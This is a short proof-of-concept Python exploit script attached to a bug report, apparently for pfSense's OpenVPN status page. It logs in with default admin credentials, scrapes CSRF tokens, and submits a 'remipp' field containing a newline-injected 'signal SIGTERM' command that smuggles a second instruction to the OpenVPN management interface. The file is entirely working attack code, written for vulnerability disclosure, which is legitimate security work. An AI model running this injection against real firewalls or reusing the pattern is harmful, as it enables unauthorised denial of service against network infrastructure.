Bug #15856 ยป poc-15856.py
1 |
#!/usr/bin/env python3
|
---|---|
2 |
import requests |
3 |
requests.packages.urllib3.disable_warnings() |
4 |
from bs4 import BeautifulSoup |
5 |
|
6 |
baseurl = 'https://192.168.1.1' |
7 |
|
8 |
# target = baseurl + '/widgets/widgets/openvpn.widget.php'
|
9 |
target = baseurl + '/status_openvpn.php' |
10 |
|
11 |
login_data = { |
12 |
'login' : 'Login', |
13 |
'usernamefld' : 'admin', |
14 |
'passwordfld' : 'pfsense', |
15 |
}
|
16 |
|
17 |
target_data = { |
18 |
'action' : 'kill', |
19 |
'port' : 'server1', |
20 |
'client_id' : '', |
21 |
'remipp' : f"5\nsignal SIGTERM", |
22 |
}
|
23 |
|
24 |
headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0'} |
25 |
|
26 |
with requests.Session() as s: |
27 |
# Fetch CSRF token from login page
|
28 |
r = s.get(baseurl, headers=headers, verify=False) |
29 |
|
30 |
soup = BeautifulSoup(r.text, 'lxml') |
31 |
login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value'] |
32 |
|
33 |
# Login
|
34 |
r = s.post(baseurl, data=login_data, headers=headers) |
35 |
|
36 |
# Find the next CSRF token
|
37 |
soup = BeautifulSoup(r.text, 'lxml') |
38 |
target_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value'] |
39 |
|
40 |
# Submit actual request
|
41 |
r = s.post(target, data=target_data, headers=headers) |
42 |
|
43 |
# Dump response
|
44 |
print(r.text) |